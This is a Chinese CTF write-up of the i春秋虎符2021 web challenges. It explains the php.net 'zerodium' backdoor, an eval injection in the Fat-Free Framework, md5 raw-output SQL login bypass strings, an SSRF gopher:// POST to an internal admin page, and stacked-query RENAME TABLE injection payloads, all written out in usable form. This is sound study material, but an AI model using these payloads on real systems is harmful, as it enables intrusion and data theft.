i春秋虎符2021 web
记录题目扫盲,只有前三题,包含以下points:
①3.28 php.net后门
②3F(FatFreeFramework)框架
③SQL中md5()产生hex的'or'进行的注入
④SSRF与gopher协议
i春秋虎符2021_web
签到
2021.3.28出了php官方git仓库git.php.net被插入恶意代码的事,若使用此源码进行开发,网站就会执行user_agentt头中以zerodium开始的任意代码,注意double t,没有打错

题目环境是一个blog,最后一篇文章描述了博客搭建过程,在没有hint的情况下这是入手点

unsetme
1 | //Kickstart the framework |
关键字:framework,f3
此为基于f3框架编写的代码,拿到手时应先本地搭建此框架,对于本题,这样你才有了base.php,才可以解题,各种不熟悉导致找不到本题入手点

把题目代码copy过来,加上route指定路径后本地运行(也就是说要先设置route再run,不然框架跑都跑不起来,怎么设置查一下文档就知道了¯\_(ツ)_/¯)
1 | $f3->route('GET /test.php', |

直接报错了,看看530行eval的情况
1 | function clear($key) { |
追一下代码验证一下是不是unset触发的clear(),发现调用链条是__unset($key)→offsetunset($key)→clear($key)实锤
见里面有一个compile(),康康
1 | function compile($str, $evaluate=TRUE) { |
看样子对输入做了改动,但其实不想分析complie()的话,直接echo即可知道到底eval了什么代码
当a=hello
[Out] unset('$this->hive['hello']');
但现在既然比赛已经结束那还是稍微深入看一下complie(),遇到了我没见过的php:回调,匿名函数
回调:在函数执行的过程中,一般是不能去干预他的行为的,当函数被设计成带有回调功能时,我们就有可能在函数的执行过程中,通过回调函数去干预他
1
2
3
4
5
6
7
8
9
10
11
12
13
14function foo($n, $f='') {
if($n < 1) return;
for($i=0; $i<$n; $i++) {
echo $f ? $f($i) : $i;
}
}
//无回调时
foo(5); //01234
//有回调时
function f1($v) {
return $v + $v;
}
foo(5, 'f1'); //02468匿名函数:允许临时创建一个没有指定名称的函数。最经常用作回调函数
callable回调参数的值
而preg_replace_callback除了可以指定一个 callback 替代 replacement 进行替换字符串的计算,其他方面等同于preg_replace
至于什么$this->hive之类的杂七杂八的都是后面才加上去的,和compile()无关
因为传参a会被compile处理为['xxx']的形式,所以需要打破这种格式,然后点号连接并闭合unset,最后eval执行任意代码
看看这个正则'/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/',并没有匹配换行符,所以出了换行符这个正则就会被打断,于是便超度成功

慢慢做管理系统
描述:这个sql吧,有点ssrf的样子,首页是一个很普通的sql注入,没有什么花样,但是我的admin.php是一个内网的管理系统,只要你用“真-admin”的密码登录了,就可以拿到flag
hint:第一步登录的sql语句是"SELECT * FROM users WHERE password = '".md5($password,true)."' limit 0,1";
这个题没有怎么动,目前也没找到复现,暂时只能面向wp扫盲
登录

关键字是md5($password,true),第二个参数raw=true即转md5后又做一次hex2str
| 参数 | 描述 |
|---|---|
| string | 必需。规定要计算的字符串。 |
| raw | 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数 |
所以hint描述的这一步其实是md5万能密码:ffifdyop与129581926211651571912466741651878684928在经过md5并转字符后均包含有'or',只要'or'右边非零,即会判定整个表达式为true,以此便绕过了登录
gopher协议

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
SSRF:Server-side Request Forge,服务端请求伪造;说白了就是:因为是由服务端发起,从而能够请求到与它相连而与外网隔离的内部系统 的一种攻击方式,比如通过file://,gopher://之类的协议来读本地文件什么的
本题是屏蔽了file://的,只能用gopher://
Gopher协议格式:URL:gopher://<host>:<port>/<gopher-path>_TCP数据流
- gopher的默认端口是70
- 如果发起POST请求,请求体需要进行url编码,回车换行需要使用
%0d或%0a代替
payload:/ssrf.php?way=127.0.0.1/admin.php,发现admin.php不再302了

然后通过gopher协议给admin.php发POST数据,HTTP协议默认端口是80,所以是往127.0.0.1:80发包:
1 | gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%0aHost%3A%20127.0.0.1%0aContent-Type%3A%20application%2Fx-www-form-urlencoded%0aContent-Length%3A%2027%0ausername%3Dtest%26password%3Dtest%0a |
gopher://127.0.0.1:80/
_POST /admin.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=test&password=test
改表名
通过改表名获取数据@2019强网杯,也可以通过prepare预处理concat过滤的select,预处理的方法之前就记录过,不再重复
当过滤了select,就不能在查出表名列名后选中数据,但若查询的回显就是表中的字段,则可以通过rename将默认查询的表替换为目标表,从而直接从回显获取字段
例如本题中fake_admin是默认被查询的表,real_admin_here_do_you_find是目标表
1 | $payload = "username=admin'/**/or/**/1=2;RENAME TABLE `fake_admin` TO `fake_admin1`;RENAME TABLE `real_admin_here_do_you_find` TO `fake_admin`;##&password=129581926211651571912466741651878684928"; |
顺便记一下 [2019强网杯-随便注] 的payload
1 | /?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;# |
此处改列名flag为id是因为目标表中没有id列,而查询是根据id查询,避免了一开始无法查询的情况
CHANGE的语法为:
1 | ALTER TABLE t1 CHANGE c_old c_new INTEGER ;#把名为c_old的列名改为c_new,类型为整数型 |
Internal System
超出能力范围的部分有点多,积累起来了再说